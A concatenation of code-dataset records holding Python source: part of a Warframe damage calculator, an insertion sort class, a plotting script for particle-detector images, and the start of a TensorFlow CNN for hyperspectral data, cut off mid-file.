Faction==\"Corpus\":\r\n\t\t\t\tphy,elem,avghp=Corpus(Phys_Matrix,Elemental_Matrix,Level,MagneticUptime,ShieldMulti,ViralUptime)\r\n\t\t\telif Faction==\"Infested\":\r\n\t\t\t\tphy,elem,avghp=Infested(Phys_Matrix,Elemental_Matrix,Level,ArmorMulti,RadiationUptime,ViralUptime)\r\n\t\t\telif Faction==\"Orokin\":\r\n\t\t\t\tphy,elem,avghp=Orokin(Phys_Matrix,Elemental_Matrix,Level,ArmorMulti,RadiationUptime,ViralUptime,MagneticUptime,ShieldMulti)\r\n\t\t\t\r\n\t\t\ttotaldamageperbullet=0\r\n\t\t\tfor arg1 in range(4):\r\n\t\t\t\tfor arg2 in range(arg1+1):\r\n\t\t\t\t\ttotaldamageperbullet+=elem[arg1][arg2]/100\r\n\t\t\t\t\t\r\n\t\t\tfor arg3 in range(3):\r\n\t\t\t\ttotaldamageperbullet+=phy[arg3]/100\r\n\t\t\t\r\n\t\t\ttotaldamageperbullet+=Finisher/100\r\n\t\t\ttotaldamageperbullet*=FactionMulti/100\r\n\t\t\tif Crit_Use==1:\r\n\t\t\t\tCC=Weapon[\"Crit_Chance\"]\r\n\t\t\t\tCM=Weapon[\"Crit_Multi\"]\r\n\t\t\t\ttotaldamageperbullet*=1+(CC//1)*(CM-1)+(CC%1)*(CM-1)\r\n\t\t\t\r\n\t\t\ttotaldamageperbullet*=Weapon[\"Damage\"]*Multishot\r\n\t\t\t\r\n\t\t\t##Multitarget and Attack Speed\r\n\t\t\ttotaldps=totaldamageperbullet*Avg_Targets*Weapon[\"Attack_Speed\"]\r\n\t\t\r\n\t\t\t##Reload Calculations for Continuous DPS Type: DPS*='time to empty magazine'/('time to empty magazine' + 'time to reload')\r\n\t\t\ttotaldps*=(Weapon[\"Ammo\"]/Weapon[\"Attack_Speed\"])/((Weapon[\"Ammo\"]/Weapon[\"Attack_Speed\"])+Weapon[\"Reload_Speed\"]*(DPS_Type==\"Continuous\"))\r\n\t\t\t\r\n\t\t\treturn avghp,totaldps,totaldamageperbullet\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t##-----------------------------------------------STATUS CALCULATIONS---------------------------------------------------\r\n\t\tCC_Damage_Multiplier=1\r\n\t\tCorrosiveUptime=0\r\n\t\tViralUptime=0\r\n\t\tMagneticUptime=0\r\n\t\tRadiationUptime=0\r\n\t\t\r\n\t\tif Status_Use==1:\r\n\t\t\t##1 status per base shot; innate multishot [shotguns] count as 1 shots\r\n\t\t\t##Listed Status chance is simply status chance per pellet/shot times the ammount of pellets/shots, not accurate for high values\r\n\t\t\t##Multishot adds additional shots -> status multiplier\r\n\t\t\t##Individual Status Chance is weighted proportionally to damage, with physical damage counting as 4 times\r\n\t\t\t##Weighting is based on premitigation damage, aswell as damage from status\r\n\t\t\t##Might add an accuracy modifier for the ammount of pellets for shotguns and such\r\n\t\t\t##Would simple take care of listed damage and status error manually when inputting a weapon\r\n\t\t\t##And then multiply the accuracy modifier to the InnateMultishot modifier externally to handle both damage and status\r\n\t\t\t##Continuous weapons have a cap of 1 status proc/sec\r\n\t\t\t##Plus, for continuous weapons, status chance is not affected by multishot\r\n\t\t\t##Furthermore, listed status chance is the average, even though it's direcly affected by increased status chance mods\r\n\t\t\t##Also, added a limiter for status chance for infested, as all status get nullified by Healers except Radiation [applied to Healer]\r\n\t\t\tNumberEnemies=27+4*(Level>=12)\t\t\t\t\t##Only matters if Infested, it's copy-pasta from Faction Calc\r\n\t\t\tLower_Limit_Multishot=Multishot//1\r\n\t\t\tBase_Status_Chance=1-(1-Weapon[\"Status\"])**Weapon[\"InnateMultishot\"]\t\r\n\t\t\tif Weapon[\"Firing Type\"]==\"Continuous\":\r\n\t\t\t\tAvg_Status_per_Shot=1-(1-Base_Status_Chance)**(1/Weapon[\"Attack_Speed\"])\r\n\t\t\t\tAvg_Status_per_Sec=min(Weapon[\"Attack_Speed\"]*Avg_Status_per_Shot,1)\r\n\r\n\t\t\telse:\r\n\t\t\t\tAvg_Status_per_Shot=Base_Status_Chance*(Lower_Limit_Multishot+(1-(Multishot%1)))\r\n\t\t\t\tAvg_Status_per_Sec=Weapon[\"Attack_Speed\"]*Avg_Status_per_Shot\r\n\r\n\t\t\t##Sum of damage to obtain chance distribution\r\n\t\t\tPseudoTotal=0\r\n\t\t\tfor omega in range(4):\r\n\t\t\t\tfor gamma in range(omega+1):\r\n\t\t\t\t\tPseudoTotal+=Elemental_Matrix[omega][gamma]\r\n\t\t\tTotalPhys=0\r\n\t\t\tfor omega in range(3):\r\n\t\t\t\tTotalPhys+=Phys_Matrix[omega]\r\n\t\t\tPseudoTotal+=4*TotalPhys\r\n\r\n\t\t\t##Need to calculate base damage and AvgHP, and must deep copy lists to avoid data loss\r\n\t\t\taaa=copy.deepcopy(Elemental_Matrix)\r\n\t\t\tbbb=copy.deepcopy(Phys_Matrix)\r\n\t\t\tAvgHP,Total_DPS,TotalDamagePerBullet=Bullet_Damage()\r\n\t\t\tElemental_Matrix=copy.deepcopy(aaa)\r\n\t\t\tPhys_Matrix=copy.deepcopy(bbb)\r\n\t\t\tNon_Status_TTK=(AvgHP/Total_DPS)+(1-(AvgHP/Total_DPS))*(DPS_Type==\"Burst\")\r\n\r\n\t\t\t##Note: all damage procs deal damage on application and over time, e.g., burn deals 50% on proc and 50% per second for 6 seconds\r\n\t\t\t##Gas damage is based on toxic part of the combination, stored on PreCombinationToxin\r\n\t\t\t##BaseDMG refers to sum of base damage multiplied by serration and similar and by crit\r\n\t\t\t##Will ignore AoE from Gas procs and Lightning procs\r\n\t\t\t##Will also have to take into account that burst damage only creates stacking procs according to Multishot\r\n\t\t\tRadiationChance=Elemental_Matrix[0][2]/PseudoTotal*Avg_Status_per_Shot\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t##Globally increases damage by 5% [important for Infested Calc] for 12 seconds\r\n\t\t\tFireChance=Elemental_Matrix[0][0]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t##Inflicts non-stacking 350%*Fire as fire damage + Globally increases damage by 2.5% for 6s (average panic is 3s)\r\n\t\t\tBlastChance=Elemental_Matrix[0][1]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t##Globally increases damage by 5% for 6 seconds [average knockdown + recovery]\r\n\t\t\tGasChance=Elemental_Matrix[0][3]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t\t##Deals 50%*(Phys+Toxin) toxin damage + Inflicts stackable 1125%*Toxin as toxin damage for 8 seconds in a 5m radius\r\n\t\t\t##EXPERIMENTAL DATA INDICATES DOT TO BE AROUND 172.5% BASE TOXIN AND NOT 125%, WITH STANDARD DEVIATION OF 1.6% [i.e. ~9% of total DoT damage as pertubation]\r\n\t\t\tLightningChance=Elemental_Matrix[2][2]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t##Deals 50%*BaseDMG as Lightning in a 5m radius + Globally increases damage by 5% for 3 seconds\r\n\t\t\tMagneticChance=Elemental_Matrix[1][2]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t##Reduces Shields by 75% for 4 seconds\r\n\t\t\tCorrosiveChance=Elemental_Matrix[2][3]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t##Permanently reduces Armor by 25%\r\n\t\t\tColdChance=Elemental_Matrix[1][1]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t##Globally increases damage by 5% for 6 seconds\r\n\t\t\tViralChance=Elemental_Matrix[1][3]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t##Reduces Health by 50% for 8 seconds\r\n\t\t\tToxinChance=Elemental_Matrix[3][3]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t##Inflicts stacking 450%*Toxin as toxin damage for 8 seconds\r\n\t\t\tPunctureChance=4*Phys_Matrix[0]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t\t##Globally increases damage by 5% for 6 seconds\r\n\t\t\tImpactChance=4*Phys_Matrix[1]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t\t##Globally increases damage by 5% for 3 seconds [average stagger]\r\n\t\t\tSlashChance=4*Phys_Matrix[2]/PseudoTotal*Avg_Status_per_Shot*(1+(Faction==\"Infested\")*(NumberEnemies-20*(1-RadiationChance))/NumberEnemies)\t\t\t\t#Inflicts stacking 245%*BaseDMG as finisher damage for 6 seconds\r\n\r\n\t\t\t\r\n\t\t\t##Magic_Uptime is the function that calculates the relevant duration of the status\r\n\t\t\tdef Magic_Uptime(basevalue):\r\n\t\t\t\treturn min(Weapon[\"Ammo\"]/Weapon[\"Attack_Speed\"],basevalue*StatusDurationModifier,Non_Status_TTK/2)\r\n\t\t\t\r\n\t\t\t##Now one has to calculate status uptime, i.e. if the status refreshes automatically, and impose continuous uptime on non-stacking status\r\n\t\t\t##For stacking status (Gas, Toxin and Slash), one has to take into account number of procs during the duration of a single proc, and take the average extra to be half (i.e. x'=(x-1)/2+1=(x+1)/2 for x>1 and x'=x for x<1\r\n\t\t\t##This must also include the time to empty the magazine if it's smaller than the status duration, as well as just being 1 if it's Burst damage [1 shot]\r\n\t\t\t##For Corrosive, consider the stacking that occurs per magazine, thus the effective uptime is half of that, and is irrelevant in a Burst scenario\r\n\t\t\tFireUptime=min(1,FireChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(6))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tBlastUptime=min(1,BlastChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(6))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tRadiationUptime=min(1,RadiationChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(12))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tGasUptime=GasChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(8))*(DPS_Type!='Burst')+(DPS_Type=='Burst'))\r\n\t\t\tLightningUptime=min(1,LightningChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(3))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tMagneticUptime=min(1,MagneticChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(4))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tCorrosiveUptime=(CorrosiveChance*Avg_Status_per_Sec/Avg_Status_per_Shot*Non_Status_TTK/2)*(DPS_Type==\"Burst\")\r\n\t\t\tColdUptime=min(1,ColdChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(6))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tViralUptime=min(1,ViralChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(8))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tToxinUptime=ToxinChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(8))*(DPS_Type!='Burst')+(DPS_Type=='Burst'))\r\n\t\t\tPunctureUptime=min(1,PunctureChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(6))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tImpactUptime=min(1,ImpactChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(3))*(DPS_Type!='Burst')+(DPS_Type=='Burst')))\r\n\t\t\tSlashUptime=SlashChance*((Avg_Status_per_Sec/Avg_Status_per_Shot*Magic_Uptime(6))*(DPS_Type!='Burst')+(DPS_Type=='Burst'))\r\n\t\t\t\r\n\t\t\t##For the effects, Viral and Magnetic are accounted in the faction calc already;\r\n\t\t\t##Global increases will be just a sum to a global multiplier [CC_Damage_Multiplier]\r\n\t\t\t##The rest is added to the Elemental/Phys Matrices to undergo faction calc\r\n\t\t\t##Note that DoTs are added divided by the weapon attack speed because the matrices are per bullet\r\n\t\t\tElemental_Matrix[0][0]+=0.5*Elemental_Matrix[0][0]*(FireChance+FireUptime/Weapon[\"Attack_Speed\"])/Multishot\t\t\t\t\t\t\t\t\t\t\t\t##Burn\r\n\t\t\tElemental_Matrix[3][3]+=(50+2.225*PreCombinationToxin)*GasChance/Multishot+1.725*PreCombinationToxin*GasUptime/(Weapon[\"Attack_Speed\"]*Multishot)\t\t##Gas, with experimental changes [see above]\r\n\t\t\tElemental_Matrix[2][2]+=LightningChance*50/Multishot\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t##Lightning\r\n\t\t\tElemental_Matrix[3][3]+=0.5*PreCombinationToxin*(ToxinChance+ToxinUptime/Weapon[\"Attack_Speed\"])/Multishot\t\t\t\t\t\t\t\t\t\t\t\t##Toxin\r\n\t\t\tFinisher*=3.5*(SlashChance+SlashUptime/Weapon[\"Attack_Speed\"])/Multishot\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t##Slash\r\n\t\t\tCC_Damage_Multiplier=1+0.05*(FireUptime/2+RadiationUptime+BlastUptime+LightningUptime+ColdUptime+PunctureUptime+ImpactUptime)*(DPS_Type==\"Burst\")\r\n\t\r\n\t\tArmorMulti*=0.75**CorrosiveUptime\r\n\t\r\n\t\t##Proper damage calc\r\n\t\tAvgHP,Total_DPS,TotalDamagePerBullet=Bullet_Damage()\r\n\r\n\t\t####-------------------------------------------------AMMO SYSTEM------------------------------------------------------\r\n\t\tAmmoDPSMulti=1\r\n\t\tif AmmoEff==1 and DPS_Type!=\"Burst\":\r\n\t\t\t##Ammo mutations will only be considered as their prime variants [subject to change if values differ]\r\n\t\t\t##In average, ammo drops per enemy as as follow (note: each drop chance is independant of the other drops, each one is rolled individually)\r\n\t\t\t##17.5% chance to drop 20 rifle ammo (6.25% mutation efficiency); 17.5% chance to drop 20 secondary ammo (6.25% mutation efficiency);\r\n\t\t\t##17.5% chance to drop 10 shotgun ammo (25% mutation efficiency); 17.5% chance to drop 10 sniper ammo (12.5% mutation efficiency);\r\n\t\t\tAvg_Bullets_per_Enemy=max(AvgHP/TotalDamagePerBullet,1)/Avg_Targets\t\t##NOTE: insert prior to attack speed and reload calculations, must be damage per bullet\r\n\t\t\tAvg_Ammo_Drop=3.5+9.625*(Ammo_Mutation==1)\t\t\t\t\t\t\t\t##This can be generalized later to other ammo types by adding a \"Ammo_Type\" tag to each weapon\r\n\t\t\tAvg_Ammo_Change=Avg_Ammo_Drop/Avg_Bullets_per_Enemy-1\t\t\t\t\t##Average ammount of ammo gained/lost per bullet shot\r\n\r\n\t\t\tif Avg_Ammo_Change<0:\r\n\t\t\t\t##It will be considered that in average the ammount of enemies required to kill is around 400, which is average 15-20 min survival quota\r\n\t\t\t\t##It's meant to be a stress test, if the count is low, the result is just to spam damage\r\n\t\t\t\tMission_Required_Shots=350*Avg_Bullets_per_Enemy\r\n\t\t\t\tShots_until_depletion=(Weapon[\"Ammo\"]+Weapon[\"Max_Ammo\"])/(-Avg_Ammo_Change)\r\n\t\t\t\tif Shots_until_depletionMaximum_Result:\r\n\t\t\tMaximum_Result=Total_DPS\r\n\t\t\tMaximum_Set_Status=list(Stat_Used_Mods)\r\n\t\t\tMaximum_Set_Elemental=list(Elemental_Used_Mods)\r\n\t\t\tMaximum_Set_Avg_Targets=Avg_Targets\r\n\t\t\t\r\n\t\t##preps for next cycle------------------------------------------------------------------------------------------------\r\n\t\tStat_Used_Mods,Elemental_Used_Mods=Mod_Spammer(Stat_Used_Mods,Elemental_Used_Mods)\r\n\t\tif \"Buff\" in input_dict:\r\n\t\t\tdel(Elemental_Mods[len(Elemental_Mods)-1])\r\n\t\t\r\n\t##Maximum Set Calculation\r\n\tif Maximum_Set_Status!=[]:\r\n\t\tfor kappa in range(len(Maximum_Set_Status)):\r\n\t\t\tMaximum_Set_Status[kappa]=Available_Mods[Maximum_Set_Status[kappa]][\"Name\"]\r\n\tif Maximum_Set_Elemental!=[]:\r\n\t\tfor kappa in range(len(Maximum_Set_Elemental)):\r\n\t\t\tMaximum_Set_Elemental[kappa]=Elemental_Mods[Maximum_Set_Elemental[kappa]][\"Name\"]\r\n\tMaximum_Result/=Maximum_Set_Avg_Targets\r\n\tMod_Result=Maximum_Set_Status+Maximum_Set_Elemental\r\n\t\r\n\t##Database update to remove Rivens before working again\r\n\tif \"Riven\" in input_dict:\r\n\t\tif \"Elemental\" in Riven_mod:\r\n\t\t\tdel(Elemental_Mods[len(Elemental_Mods)-1])\r\n\t\telse:\r\n\t\t\tdel(Available_Mods[len(Available_Mods)-1])\t\r\n\t\r\n\t\r\n\t##The print is the interpretable result\r\n\t##The return is the number and sets that count to compare after paralelizing [disabled because useless atm]\r\n\tprint(\"Value is maximal with expected damage\", Maximum_Result, \"with the following mods:\", Mod_Result)\r\n\treturn None\r\n\t##return Maximum_Result*Maximum_Set_Avg_Targets, Maximum_Set_Status, Maximum_Set_Elemental\r\n\t\t\r\n##----------------------------------------------------------------------------------------------------------------------------\r\n##------------------------------------------------------------BOOT------------------------------------------------------------\r\n##----------------------------------------------------------------------------------------------------------------------------\r\n\r\n\r\n##----------------------------------------------------------------------------------------------------------------------------\r\n##---------------------------------------------------------TO DO LIST---------------------------------------------------------\r\n##----------------------------------------------------------------------------------------------------------------------------\r\n##\t\tNOTE:\tWill likely have to rewrite Status Calc, shit is fucked up\t#spaghettimechanicsandcode\r\n##\t\t1)\t\tInput Complete Mod List\t\r\n##\t\tNOTE:\tExpected around 269.644.149 combinations. Will skyrocket duration to aprox 47h per run. Paralelization allows reduction to aprox 24h on CABAL.\r\n##\t\t2)\t\tInput Weapon List\r\n##\t\tNOTE:\tStorage of data already started during testing. Begin analysis with meta Weapons. Add extra weapons if Rivens available.\r\n##\t\t3)\t\tImplement Boot for easier use (use the input dictionary)\r\n##\t\t4)\t\tImplement different types of weapon and/or specials w/mods","sub_path":"Warframe Calculator.py","file_name":"Warframe Calculator.py","file_ext":"py","file_size_in_byte":53635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"632258982","text":"from typing import List\n\nclass InsertionSort:\n @staticmethod\n def insertion_sort(A:List[int], recursive:bool=False):\n if recursive:\n print(\"Insertion sort recursive\")\n InsertionSort.in_sort_recursive(A, len(A) - 1)\n else:\n print(\"Insertion sort iterative\")\n InsertionSort.in_sort_iterative(A, len(A) - 1)\n\n # prints each element of A with spaces in between\n print(*A)\n\n @staticmethod\n def in_sort_recursive(A:List[int], N:int):\n if N <= 0:\n return\n\n InsertionSort.in_sort_recursive(A, N-1)\n\n for i in range(N, 0, -1):\n if A[i] >= A[i-1]: # found appropriate position for A[i]\n break\n A[i], A[i-1] = A[i-1], A[i]\n\n @staticmethod\n def in_sort_iterative(A:List[int], N:int):\n for i in range(1, N+1):\n for j in range(i, 0, -1):\n if A[j] >= A[j-1]: # found appropriate position for A[j]\n break\n A[j], A[j-1] = A[j-1], A[j]\n","sub_path":"Lesson1_InsertionSort.py","file_name":"Lesson1_InsertionSort.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"120029815","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n#a=np.load(\"side2350img.npz\")\na=np.load(\"rot16ug50img.npz\")\n#a=np.load(\"rot458ug50img.npz\")\n#b=a[\"imgset\"].item()\nuj=a[\"uj\"]\nujp=np.zeros(uj[0][0].shape)\n#d=c[474][0]\nprint(len(uj))\nfor i in range(16,len(uj)):\n ujp+=uj[i][0]\n break\n\ngj=a[\"gj\"]\ngjp=np.zeros(gj[0][0].shape)\nfor i in range(16,len(gj)):\n gjp+=gj[i][0]\n break\ndel gj\ndel uj\na.close()\n#a=np.load(\"rot1650img.npz\")\na=np.load(\"elvars10to100img.npz\")\nel=a[\"el\"]\nelp=np.zeros(el[0][0].shape)\n#d=c[474][0]\nprint(el.shape)\nfor i in range(16,len(el)):\n elp+=el[i][0]\n#pi=a[\"pi\"]\npip=np.zeros(el[0][0].shape)\n#pip=np.zeros(pi[0][0].shape)\n#d=c[474][0]\n#for i in range(16,len(pi)):\n# pip+=pi[15712][0]\n# break\n#gjp[y][x]\n#gjp[zin][yin]\n#z=eta y=phi\n#gjp[eta][phi]\n#eta|\n# ---phi\n\nfig,B=plt.subplots(ncols=2,nrows=2,figsize=(8,8))\nB[0][0].imshow(ujp,origin=\"lower\")\nB[0][0].title.set_text(\"Quark SiPM energy\")\nB[0][1].imshow(gjp,origin=\"lower\")\nB[0][1].title.set_text(\"Gluon SiPM energy\")\nB[1][0].imshow(elp,origin=\"lower\")\nB[1][0].title.set_text(\"Electron SiPM energy\")\nB[1][1].imshow(pip,origin=\"lower\")\nB[1][1].title.set_text(\"Pion SiPM energy\")\nfor i in range(2):\n for j in range(2):\n B[i][j].set_xticks([])\n B[i][j].set_yticks([])\n B[i][j].set_xlabel(\"$\\phi$\",fontsize=10)\n B[i][j].set_ylabel(\"$\\eta$\",fontsize=10)\nplt.show()\n\"\"\"\nvox=a[\"voxels\"].item()\ngj=vox[\"gj\"]\nqj=vox[\"uj\"]\ndef explode(data):\n size = np.array(data.shape)*2\n data_e = np.zeros(size - 1, dtype=data.dtype)\n data_e[::2, ::2, ::2] = data\n return data_e\ndef tohex(val):\n alpha=format(val,\"x\")\n if(len(alpha)==1):\n alpha=\"0\"+alpha\n return alpha\niyzx_e_s=np.zeros((gj[0][0].shape))\nfor i in range(len(gj)):\n iyzx_e_s=iyzx_e_s+gj[i][0]\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nxyz = np.zeros(iyzx_e_s.shape,dtype='S9')\niyzxgj=iyzx_e_s\niyzx_e_s=255.*iyzx_e_s/iyzx_e_s.max()\nfor i in range(len(xyz)):\n for j in range(len(xyz)):\n for k in range(len(xyz)):\n #xyz[i,j,k]=\"#0000\"+tohex(int(255*pow(1.2,-(pow(i-3,2)+pow(j-3,2)+pow(k-3,2)))))+tohex(int(20*pow(1.2,-(pow(i-3,2)+pow(j-3,2)+pow(k-3,2)))))\n xyz[i,j,k]=\"#0000ff\"+tohex(int(iyzx_e_s[i,j,k]))\n #xyz[i,j,k]=\"#\"+tohex(255-int(iyzx_e_s[i,j,k]))*2+\"ff\"+tohex(int(iyzx_e_s[i,j,k]))\n\nalpha=tohex(20)\nfacecolors=xyz\n#facecolors = np.where(n_voxels, '#FFD65D'+alpha, '#7A88CC'+alpha)\nfilled = np.ones(iyzx_e_s.shape)\nedgecolors = np.where(filled, '#000000'+\"00\", '#000000'+\"00\")\n\n# upscale the above voxel image, leaving gaps\nfilled_2 = explode(filled)\nfcolors_2 = explode(facecolors)\necolors_2 = explode(edgecolors)\nx, y, z = np.indices(np.array(filled_2.shape) + 1).astype(float) // 2\nx[0::2, :, :] += 0.05\ny[:, 0::2, :] += 0.05\nz[:, :, 0::2] += 0.05\nx[1::2, :, :] += 0.95\ny[:, 1::2, :] += 0.95\nz[:, :, 1::2] += 0.95\n\nax.voxels(x, y, z, filled_2, facecolors=fcolors_2, edgecolors=ecolors_2)\nax.set_title(\"Gluon\")\nax.set_xlabel(\"phi\")\nax.set_ylabel(\"eta\")\nax.set_zlabel(\"depth\")\n\niyzx_e_s=np.zeros((qj[0][0].shape))\nprint(iyzx_e_s.shape)\nfor i in range(len(qj)):\n iyzx_e_s=iyzx_e_s+qj[i][0]\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nxyz = np.zeros(iyzx_e_s.shape,dtype='S9')\niyzxqj=iyzx_e_s\niyzx_e_s=255.*iyzx_e_s/iyzx_e_s.max()\nfor i in range(len(xyz)):\n for j in range(len(xyz)):\n for k in range(len(xyz)):\n #xyz[i,j,k]=\"#0000\"+tohex(int(255*pow(1.2,-(pow(i-3,2)+pow(j-3,2)+pow(k-3,2)))))+tohex(int(20*pow(1.2,-(pow(i-3,2)+pow(j-3,2)+pow(k-3,2)))))\n xyz[i,j,k]=\"#0000ff\"+tohex(int(iyzx_e_s[i,j,k]))\n #xyz[i,j,k]=\"#\"+tohex(255-int(iyzx_e_s[i,j,k]))*2+\"ff\"+tohex(int(iyzx_e_s[i,j,k]))\n\nalpha=tohex(20)\nfacecolors=xyz\n#facecolors = np.where(n_voxels, '#FFD65D'+alpha, '#7A88CC'+alpha)\nfilled = np.ones(iyzx_e_s.shape)\nedgecolors = np.where(filled, '#000000'+\"00\", '#000000'+\"00\")\n\n# upscale the above voxel image, leaving gaps\nfilled_2 = explode(filled)\nfcolors_2 = explode(facecolors)\necolors_2 = explode(edgecolors)\nx, y, z = np.indices(np.array(filled_2.shape) + 1).astype(float) // 2\nx[0::2, :, :] += 0.05\ny[:, 0::2, :] += 0.05\nz[:, :, 0::2] += 0.05\nx[1::2, :, :] += 0.95\ny[:, 1::2, :] += 0.95\nz[:, :, 1::2] += 0.95\n\nax.voxels(x, y, z, filled_2, facecolors=fcolors_2, edgecolors=ecolors_2)\nax.set_title(\"Quark\")\nax.set_xlabel(\"phi\")\nax.set_ylabel(\"eta\")\nax.set_zlabel(\"depth\")\n\"\"\"\nplt.show()\n","sub_path":"drpix.py","file_name":"drpix.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"156421377","text":"import random\nimport pandas as pd\nimport tensorflow as tf\n\n'''\n 实现基础CNN网络\n'''\n# 每个批次的大小\nbatch_size = 100\n\n# 计算一共有多少个训练批次遍历一次训练集\nn_batch = 1800 // batch_size # 18\n\n# test测试集\ndata_test = pd.read_csv('../dataset/CNN_test_40976_shuffle.csv', header=None)\ndata_test = data_test.as_matrix()\n\n# 获取test特征矩阵\ndata_test_band = data_test[:, :-1]\nprint(data_test_band.shape) # (40976, 103)\n# 取前100个通道\ndata_test_band = data_test_band[:, :100]\nprint(data_test_band.shape) # (40976, 100)\n\n# 获取test标记onehot矩阵\ndata_test_label = pd.read_csv('../dataset/CNN_test_40976_shuffle_label_onehot.csv', header=None)\ndata_test_label = data_test_label.as_matrix()\nprint(data_test_label.shape) # (40976, 10)\n\n\n# 参数概要\ndef variable_summaries(var):\n with tf.name_scope('summaries'):\n mean = tf.reduce_mean(var)\n tf.summary.scalar('mean', mean) # 平均值\n with tf.name_scope('stddev'):\n stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))\n tf.summary.scalar('stddev', stddev) # 标准差\n tf.summary.scalar('max', tf.reduce_max(var)) # 最大值\n tf.summary.scalar('min', tf.reduce_min(var)) # 最小值\n tf.summary.histogram('histogram', var) # 直方图\n\n\n# 初始化权值\ndef weight_variable(shape, name):\n initial = tf.truncated_normal(shape, stddev=0.1) # 生成一个截断的正态分布,标准差为0.1\n return tf.Variable(initial, name=name)\n\n\n# 初始化偏置\ndef bias_variable(shape, name):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial, name=name)\n\n\n# 卷积层\ndef conv2d(x, W):\n '''\n x是一个四维的tensor [batch, in_height, in_width, in_channels]\n (1)批次 (2)图片高 (3)图片宽 (4)通道数:黑白为1,彩色为3\n\n W是一个滤波器/卷积核 [filter_height, filter_width, in_channels, out_channels]\n (1)滤波器高 (2)滤波器宽 (3)输入通道数 (4)输出通道数\n\n 约定 strides[0] = strides[3] = 1, strides[1]代表x方向的步长,strides[2]代表y方向的步长\n\n padding= 'SAME' / 'VALID' ; SAME在外围适当补0 , VALID不填补0\n '''\n return tf.nn.conv2d(x, W, strides=[1, 1, 2, 1], padding='VALID')\n\n\n# 池化层\ndef max_pool_2x2_first(x):\n '''\n x是一个四维的tensor [batch, in_height, in_width, in_channels]\n (1)批次 (2)图片高 (3)图片宽 (4)通道数:黑白为1,彩色为3\n\n ksize是窗口大小\n 约定 ksize[0] = ksize[3] = 1,ksize[1]代表x方向的大小 , ksize[2]代表y方向的大小\n\n 约定 strides[0] = strides[3] = 1,strides[1]代表x方向的步长,strides[2]代表y方向的步长\n\n padding= 'SAME' / 'VALID' ; SAME在外围适当补0 , VALID不填补0\n '''\n return tf.nn.max_pool(x, ksize=[1, 1, 7, 1], strides=[1, 1, 7, 1], padding='VALID')\n\n\n# 输入层\nwith tf.name_scope('input'):\n # 定义两个placeholder\n x = tf.placeholder(tf.float32, [None, 100], name='x-input')\n y = tf.placeholder(tf.float32, [None, 10], name='y-input')\n with tf.name_scope('x_image'):\n '''\n 改变x的格式转为2维的向量 [batch, in_height, in_width, in_channels] \n (1)批次 (2)二维高 (3)二维宽 (4)通道数:黑白为1,彩色为3\n '''\n # 此处将处理好100维度的数据reshape重新折叠成1*100维度\n x_image = tf.reshape(x, [-1, 1, 100, 1], name='x_image')\n\n# 第一层:卷积+激活+池化\nwith tf.name_scope('Conv1'):\n # 